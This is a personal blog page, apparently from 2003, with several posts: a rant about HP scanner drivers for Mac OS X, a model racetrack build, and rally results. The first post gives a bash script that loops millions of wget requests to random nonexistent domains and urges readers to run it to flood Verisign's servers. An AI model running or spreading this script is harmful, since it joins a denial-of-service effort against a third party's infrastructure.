fauxstor.net

Anti-Verisign Linux Virus

Like most every linux virus, this one is voluntary. To propagate it, copy the source code to you hard drive and execute. Then ask a friend if he will do the same.

This script is designed to overwhelm verisign's server with requests for non-existent domains.

It is a simple bash script:

##### BEGIN SCRIPT SOURCE ####

#!/bin/bash

LIMIT=10000000  # Upper limit; feel free to set higher.
a=0

echo "Verisign is garbage"
sleep 3

while [ $a -le "$LIMIT" ] 
do 
    wget "http://`date | md5sum | sed 's/  -//'`.com"
    a=$(($a+1))
done

##### END SCRIPT SOURCE ######

You can use "lynx --dump" or curl instead of wget. If enough people did this it may learn Verisign good! Stupid non-existent domain hijackers!

Posted by justin at 4:21 PM | Comments (1)

developers... Developers... DEVELOPERS !!!!!

Ever since first being violated by a viewing of psycho-sweaty Steve Ballmer's incantation of the "developers" spell, I have always assumed that most Fortune-Five-Hundo firms' sweatshops of code monkeys were legion. No less so HP (Hewlett Packard, NYSE: HPQ), one would assume. Oh, how wrong of you to assume.

Upon needing to convert some visual 8-track cartridges, AKA "slide photographs", into digital format, I took a trip to Best Buy (NYSE: BBY) for a scanner. I ended up grabbing the HP Scanjet 4570c. It included a transparency adapter for slides and negatives, and it did 3 slides at a time. Cool enough. And the box said the following under "Minimum System Requirements for Microsoft Windows and Macintosh":

"OSX 10.1.2 or Higher"

It doesn't work.

Let's see, I am running 10.2.6. 10.2.6 minus 10.1.2 = 1.4. I am 1.4 "above" the minimum. Not exactly light-years ahead of dusty ol' 10.1.2. How long has Jaguar been out now? I can't remember, since everyone keeps talking about Panther. Don't these guys at HP get ADVANCE copies of release candidate operating systems? You know, "dev kits"? I mean, most my friends had a GM version of Jaguar installed 2 weeks before it shipped. Not to mention the 12 different build versions they had installed along the way.

So why can't HP release a current driver for Jaguar? As of September 19, 2003 they have not, and it appears they are not planning to, either.

I asked them to notify me of any software updates for Mac OS X related to the Scanjet 4570c. I even gave them a rather motivating email address. The result? I can expect Zero emails a month on the topic.

Even if they released a driver two years from now, sent me an email about it, never sent another, and I lived to be 75, that would be 0.001893939 emails a month. THEY HAVE ALREADY CONCEDED DEFEAT!

Maybe they don't deal with anything other than whole numbers or integers. Clearly 1.4 is too great a leap for them.

Posted by justin at 1:19 PM

Bit Char-G Racetrack Complete

This is what you can do over a couple months with your spare time. Which I really didn't have, but hey. Anyway, here is a 1/64th scale racetrack for Bit Char-G RC cars to race on, built by huck and myself. Now I have an excuse to make mods to my Bit Char-G.

Ingredients: Masonite (4x8); 1/2" plywood (4x8); 1x2 (8'); Nails; Elmer's Wood Glue; Chicken Wire; Elmer's White Glue; Newspaper; Chalkboard spraypaint, black (2 cans); Fixatif (2 cans); Brown Spraypaint; Airbrush; Tamiya Model Paints; Airbrush propellant (4 cans); Spraymount; Quick-form molding mix (1 carton); Rubber rock forms; Modeling shrubbery; HO scale trees (x3 small, x2 large); Modeling grass ("green" and "dead"); HO scale spotlights (2 single and 1 double); HO scale blinking road barriers (x4); 1 HO scale blinking water tower; HO scale beer drinking Punk Rockers; Styrene I-beams (x4); HO scale cement road barriers (x4); AC / DC combo electric ballast.

Bottom line: it looks great, night or day. The track seriously kicks ass. It can be viewed for a limited time only (exactly how limited, I do not know -- maybe just until the weekend) at the Kid Robot store on Haight Street.

It is also more than capable of accommodating DigiQ RC Tanks. Shoot it up on the roadways, or on the terrain. Or even run over those pesky punks drinking lager on the hilltop.

Posted by justin at 12:42 AM | Comments (2)

Gran Turismo :: Reality Edition

My friend Huck sleeps naked in his car at night. He has a 2003 Subaru Impreza WRX Sedan. Every penny of disposable income goes toward that car. I am eagerly awaiting Gran Turismo 4. Or $30,000.00 to drop on the STI version of the Impreza. Until either happens, though, I decided to join in a rally a couple weeks ago (as navigator, of course). Turns out, we are performance racing geniuses.

We came in first in our class (Class "D" - Beginner). We beat out people with fancy-shmancy computers to calculate speed and splits. We didn't even have a reasonable stopwatch, just the chrono on my standard digital watch.

The reason we won was because: a) Huck managed not to drive us into a ditch or tree and b) my patented system of rally guestimating. It goes roughly like this: Umm, shit, I guess we were supposed to CAST 40 at the last start.
OK, well, we've been going 70 for about 3 miles, so we should go about 25 mph for...hmmm...divide by 7, carry the 2, and -- OH FUCK -- wait. We were supposed to turn right back there. QUICK, FLIP.
OK, that added about 45 seconds to make that U-turn and get on the correct road, so now we should go about 45 mph for around, uhh, 2 minutes?

Basically, that's how the whole day went. Doing math to overcome a mistake, and have that cause a new mistake, requiring more math, etc. Anyway, it worked by some strange miracle. Here are the results:

Official Results from TRC and SCCA/SFR Hill and Valley '03 Rallye on 24-Aug-03

Overall Standing	Class Finish	Class	Car #	Driver Navigator	Score
1	1	A	1	J. Toney Woodland Eli Toney	11
2	2	A	11	Claudia Quinlivan Peter Guagenti	153
3	1	C	9	Steve Watt David Watt	269
4	1	D	10	Huck Gee Justin Foster	473
5	2	D	3	Neil Bliss Melody Yoon	488
6	3	D	8	Joe Reid Bonnie Reid	803
7	4	D	6	Frank Wilcox Gray Poole	845
8	5	D	5	Dave Carpenter Chris Johnson	930
9	7	D	7	Max Sawicky	1224

If you want to look at the splits, you can look here. Illustration at top left by Huck "I sleep naked in my WRX" Gee.

Posted by justin at 12:55 PM | Comments (2)